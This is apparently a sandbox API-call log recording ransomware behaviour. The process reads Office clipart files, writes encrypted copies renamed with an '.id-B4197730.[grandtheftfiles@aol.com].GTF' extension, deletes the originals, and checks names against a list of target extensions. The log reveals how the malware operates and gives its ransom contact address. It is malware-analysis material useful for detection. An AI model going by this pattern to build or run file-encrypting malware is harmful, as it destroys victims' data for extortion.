	[0157.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.754] GetLastError () returned 0x0
	[0157.754] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x9114, lpOverlapped=0x0) returned 1
	[0157.759] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x9120, lpOverlapped=0x0) returned 1
	[0157.761] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.761] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.761] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.761] CloseHandle (hObject=0x4c4) returned 1
	[0157.761] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.761] SetEndOfFile (hFile=0x490) returned 1
	[0157.764] CloseHandle (hObject=0x490) returned 1
	[0157.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0157.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.765] lstrlenW (lpString=".doc") returned 4
	[0157.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.765] lstrlenW (lpString=".docx") returned 5
	[0157.765] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.765] lstrlenW (lpString=".pdf") returned 4
	[0157.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.765] lstrlenW (lpString=".xls") returned 4
	[0157.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.765] lstrlenW (lpString=".xlsx") returned 5
	[0157.765] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.765] lstrlenW (lpString=".ppt") returned 4
	[0157.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.765] lstrlenW (lpString=".zip") returned 4
	[0157.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.765] lstrlenW (lpString=".rar") returned 4
	[0157.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString=".bz2") returned 4
	[0157.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString=".7z") returned 3
	[0157.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.766] lstrlenW (lpString=".dbf") returned 4
	[0157.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.766] lstrlenW (lpString=".1cd") returned 4
	[0157.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.766] lstrlenW (lpString=".jpg") returned 4
	[0157.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.766] lstrlenW (lpString=".doc") returned 4
	[0157.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString=".docx") returned 5
	[0157.766] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.766] lstrlenW (lpString=".pdf") returned 4
	[0157.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString=".xls") returned 4
	[0157.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.766] lstrlenW (lpString=".xlsx") returned 5
	[0157.766] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.766] lstrlenW (lpString=".ppt") returned 4
	[0157.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.766] lstrlenW (lpString=".zip") returned 4
	[0157.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.766] lstrlenW (lpString=".rar") returned 4
	[0157.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString=".bz2") returned 4
	[0157.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.766] lstrlenW (lpString=".7z") returned 3
	[0157.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.767] lstrlenW (lpString=".dbf") returned 4
	[0157.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.767] lstrlenW (lpString=".1cd") returned 4
	[0157.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.767] lstrlenW (lpString=".jpg") returned 4
	[0157.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.767] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.767] lstrlenW (lpString="J0099174.WMF") returned 12
	[0157.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.767] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=6214) returned 1
	[0157.767] CloseHandle (hObject=0x490) returned 1
	[0157.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220
	[0157.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.768] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.768] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.769] GetLastError () returned 0x0
	[0157.769] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1846, lpOverlapped=0x0) returned 1
	[0157.770] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1850, lpOverlapped=0x0) returned 1
	[0157.772] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.772] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.772] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.772] CloseHandle (hObject=0x4c4) returned 1
	[0157.772] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.772] SetEndOfFile (hFile=0x490) returned 1
	[0158.080] CloseHandle (hObject=0x490) returned 1
	[0158.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0158.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.086] lstrlenW (lpString=".doc") returned 4
	[0158.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.086] lstrlenW (lpString=".docx") returned 5
	[0158.086] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0158.086] lstrlenW (lpString=".pdf") returned 4
	[0158.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.086] lstrlenW (lpString=".xls") returned 4
	[0158.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.086] lstrlenW (lpString=".xlsx") returned 5
	[0158.086] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0158.086] lstrlenW (lpString=".ppt") returned 4
	[0158.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.086] lstrlenW (lpString=".zip") returned 4
	[0158.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.086] lstrlenW (lpString=".rar") returned 4
	[0158.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString=".bz2") returned 4
	[0158.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString=".7z") returned 3
	[0158.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.087] lstrlenW (lpString=".dbf") returned 4
	[0158.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.087] lstrlenW (lpString=".1cd") returned 4
	[0158.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.087] lstrlenW (lpString=".jpg") returned 4
	[0158.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.087] lstrlenW (lpString=".doc") returned 4
	[0158.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString=".docx") returned 5
	[0158.087] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0158.087] lstrlenW (lpString=".pdf") returned 4
	[0158.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString=".xls") returned 4
	[0158.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.087] lstrlenW (lpString=".xlsx") returned 5
	[0158.087] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0158.087] lstrlenW (lpString=".ppt") returned 4
	[0158.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.087] lstrlenW (lpString=".zip") returned 4
	[0158.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.087] lstrlenW (lpString=".rar") returned 4
	[0158.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString=".bz2") returned 4
	[0158.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.087] lstrlenW (lpString=".7z") returned 3
	[0158.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.088] lstrlenW (lpString=".dbf") returned 4
	[0158.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.088] lstrlenW (lpString=".1cd") returned 4
	[0158.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.088] lstrlenW (lpString=".jpg") returned 4
	[0158.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.088] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.088] lstrlenW (lpString="J0099180.WMF") returned 12
	[0158.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.088] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3394) returned 1
	[0158.088] CloseHandle (hObject=0x490) returned 1
	[0158.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220
	[0158.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.089] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.089] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.090] GetLastError () returned 0x0
	[0158.090] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xd42, lpOverlapped=0x0) returned 1
	[0158.091] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xd50, lpOverlapped=0x0) returned 1
	[0158.092] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.092] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.092] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.092] CloseHandle (hObject=0x4b4) returned 1
	[0158.093] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.093] SetEndOfFile (hFile=0x490) returned 1
	[0158.095] CloseHandle (hObject=0x490) returned 1
	[0158.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.096] lstrlenW (lpString=".doc") returned 4
	[0158.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.096] lstrlenW (lpString=".docx") returned 5
	[0158.096] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0158.096] lstrlenW (lpString=".pdf") returned 4
	[0158.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.096] lstrlenW (lpString=".xls") returned 4
	[0158.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.096] lstrlenW (lpString=".xlsx") returned 5
	[0158.096] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0158.096] lstrlenW (lpString=".ppt") returned 4
	[0158.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.096] lstrlenW (lpString=".zip") returned 4
	[0158.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.096] lstrlenW (lpString=".rar") returned 4
	[0158.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.096] lstrlenW (lpString=".bz2") returned 4
	[0158.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.096] lstrlenW (lpString=".7z") returned 3
	[0158.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".dbf") returned 4
	[0158.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".1cd") returned 4
	[0158.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".jpg") returned 4
	[0158.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".doc") returned 4
	[0158.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString=".docx") returned 5
	[0158.097] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0158.097] lstrlenW (lpString=".pdf") returned 4
	[0158.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString=".xls") returned 4
	[0158.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.097] lstrlenW (lpString=".xlsx") returned 5
	[0158.097] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0158.097] lstrlenW (lpString=".ppt") returned 4
	[0158.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".zip") returned 4
	[0158.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.097] lstrlenW (lpString=".rar") returned 4
	[0158.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString=".bz2") returned 4
	[0158.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString=".7z") returned 3
	[0158.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".dbf") returned 4
	[0158.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.097] lstrlenW (lpString=".1cd") returned 4
	[0158.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0158.098] lstrlenW (lpString=".jpg") returned 4
	[0158.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.098] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.098] lstrlenW (lpString="J0099181.WMF") returned 12
	[0158.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.098] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=1198) returned 1
	[0158.098] CloseHandle (hObject=0x490) returned 1
	[0158.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220
	[0158.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.101] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
